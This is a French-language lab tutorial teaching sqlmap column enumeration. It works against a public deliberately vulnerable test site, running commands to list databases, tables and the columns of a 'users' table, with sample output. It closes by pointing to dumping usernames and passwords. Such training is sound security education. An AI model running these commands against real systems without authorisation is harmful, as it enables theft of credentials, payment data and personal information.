Énumérer les colonnes d'une table spécifique avec sqlmap

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez à utiliser sqlmap pour énumérer les noms de colonnes et leurs types de données à partir d'une table spécifique au sein d'une base de données. sqlmap est un outil open-source de test d'intrusion qui automatise le processus de détection et d'exploitation des failles d'injection SQL et de prise de contrôle des serveurs de bases de données. Comprendre comment énumérer les colonnes est une étape cruciale dans l'exploitation de bases de données, car cela vous permet de cibler et d'extraire précisément des informations sensibles. Nous nous concentrerons sur l'utilisation de l'indicateur -T pour spécifier la table cible et de l'indicateur --columns pour lister ses colonnes.

Sélection d'une base de données et d'une table cibles pour l'énumération

Dans cette étape, nous allons identifier une base de données cible hypothétique et une table spécifique en son sein dont nous voulons énumérer les colonnes. Dans le cadre de ce laboratoire, nous supposerons que nous avons déjà identifié une URL vulnérable et une base de données nommée testdb contenant une table nommée users.

Tout d'abord, assurons-nous que sqlmap est disponible sur votre système. Si ce n'est pas le cas, vous pouvez l'installer en utilisant apt.

sudo apt update
sudo apt install -y sqlmap

Maintenant, simulons une cible vulnérable. Nous utiliserons une URL factice à des fins de démonstration. Dans un scénario réel, il s'agirait d'une URL susceptible à l'injection SQL.

Pour ce laboratoire, nous utiliserons l'URL fictive suivante : http://testphp.vulnweb.com/listproducts.php?cat=1. Il s'agit d'une cible vulnérable connue, souvent utilisée pour les tests. Nous supposerons que nous avons déjà identifié une base de données nommée acuart et une table nommée users en son sein. Notre objectif est d'énumérer les colonnes de la table users.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Vous devriez voir une liste de bases de données, y compris acuart. Cela confirme que notre cible est accessible et que sqlmap peut interagir avec elle.

...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...

Ensuite, confirmons les tables de la base de données acuart.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

Vous devriez voir une liste de tables, y compris users.

...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists    |
| carts      |
| categories |
| guestbook  |
| pictures   |
| products   |
| users      |
| ...        |
+------------+
...

Cela confirme que la base de données acuart et la table users existent sur notre cible.

Utiliser l'indicateur -T pour spécifier la table

Dans cette étape, nous allons apprendre à utiliser l'indicateur -T dans sqlmap pour spécifier la table cible à partir de laquelle nous voulons énumérer les colonnes. L'indicateur -T est utilisé conjointement avec l'indicateur -D (pour database/base de données) afin de restreindre la portée de notre énumération.

La syntaxe de base pour spécifier une table est : sqlmap -u <url_cible> -D <nom_base_de_donnees> -T <nom_table> [autres_options]

En continuant depuis l'étape précédente, nous avons identifié la base de données acuart et la table users. Maintenant, nous allons préparer la commande sqlmap pour cibler cette table spécifique. Nous n'exécuterons pas encore l'énumération complète, mais nous allons construire la commande.

Ouvrez votre terminal dans le répertoire ~/project.

echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt

Cette commande enregistre la partie initiale de notre commande sqlmap dans un fichier nommé command_part1.txt puis affiche son contenu. Cela aide à construire des commandes complexes étape par étape.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users

En utilisant -D acuart -T users, nous indiquons à sqlmap de concentrer ses opérations spécifiquement sur la table users au sein de la base de données acuart. Ceci est crucial pour une énumération efficace et ciblée.

Utiliser l'indicateur --columns pour lister les colonnes

Dans cette étape, nous allons introduire l'indicateur --columns, qui est utilisé pour demander à sqlmap d'énumérer les noms des colonnes et leurs types de données au sein de la table spécifiée. Cet indicateur est essentiel pour comprendre la structure de la table et identifier les colonnes potentiellement intéressantes pour l'extraction de données.

L'indicateur --columns est ajouté à la commande que nous avons commencé à construire à l'étape précédente.

La syntaxe complète sera : sqlmap -u <url_cible> -D <nom_base_de_donnees> -T <nom_table> --columns

Ajoutons l'indicateur --columns à notre commande.

echo ' --columns' >> command_part1.txt
cat command_part1.txt

Maintenant, le fichier command_part1.txt devrait contenir la commande sqlmap complète pour énumérer les colonnes de la table users.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

L'indicateur --columns indique à sqlmap d'effectuer un type d'énumération spécifique : lister toutes les colonnes disponibles dans la table cible. C'est une fonctionnalité puissante qui aide à cartographier le schéma de la base de données.

Exécuter la commande pour énumérer les colonnes

Dans cette étape, nous allons exécuter la commande sqlmap complète que nous avons construite lors des étapes précédentes. Cette commande demandera à sqlmap de se connecter à l'URL cible, d'identifier la base de données acuart, de cibler la table users, puis d'énumérer toutes les colonnes de cette table.

Assurez-vous d'être dans le répertoire ~/project.

bash command_part1.txt

Lors de l'exécution, sqlmap commencera son processus. Il pourrait vous poser quelques questions pendant le processus, comme s'il fallait utiliser une charge utile (payload) spécifique ou continuer avec les options par défaut. Pour ce laboratoire, vous pouvez généralement appuyer sur Entrée pour accepter les choix par défaut ou sur y pour oui si une invite vous est présentée.

...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+
...

La sortie affichera un tableau listant les noms des colonnes et leurs types de données correspondants trouvés dans la table users. C'est l'objectif principal de ce laboratoire.

Examiner les noms des colonnes et leurs types de données

Dans cette dernière étape, nous allons examiner la sortie de la commande sqlmap exécutée à l'étape précédente. Comprendre les noms des colonnes énumérées et leurs types de données est crucial pour une exploitation ou une analyse ultérieure.

Examinez la sortie de la commande précédente. Vous devriez voir un tableau similaire à celui-ci :

Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+

D'après cette sortie, nous pouvons identifier plusieurs colonnes importantes :

  • email : Stocke probablement les adresses e-mail des utilisateurs.
  • uname : Stocke probablement les noms d'utilisateur.
  • pass : Stocke probablement les mots de passe des utilisateurs (ou les hachages de mots de passe).
  • cc : Potentiellement, stocke les informations de carte de crédit.
  • address : Stocke les adresses des utilisateurs.
  • name : Stocke les noms complets des utilisateurs.
  • phone : Stocke les numéros de téléphone des utilisateurs.

La colonne Type indique le type de données de chaque colonne (par exemple, varchar(50) signifie une chaîne de caractères de longueur variable jusqu'à 50 caractères). Ces informations sont vitales pour la création de commandes sqlmap ultérieures, comme l'extraction de données de colonnes spécifiques à l'aide de l'indicateur -C. Par exemple, pour extraire les noms d'utilisateur et les mots de passe, vous utiliseriez -C uname,pass --dump.

Cette étape conclut le processus d'énumération des colonnes d'une table spécifique à l'aide de sqlmap. Vous avez maintenant une compréhension claire de la manière de cibler des tables spécifiques et de récupérer leurs structures de colonnes.

Résumé

Dans ce laboratoire, vous avez appris avec succès comment énumérer les colonnes d'une table spécifique à l'aide de sqlmap. Vous avez commencé par identifier une base de données et une table cibles, puis vous avez progressivement construit la commande sqlmap en utilisant les indicateurs -D (database), -T (table) et --columns. Enfin, vous avez exécuté la commande et examiné la sortie, en comprenant l'importance des noms de colonnes énumérés et de leurs types de données. Cette compétence est fondamentale pour toute personne effectuant des tests d'intrusion de bases de données ou des évaluations de sécurité, car elle fournit les informations nécessaires pour extraire efficacement des données sensibles.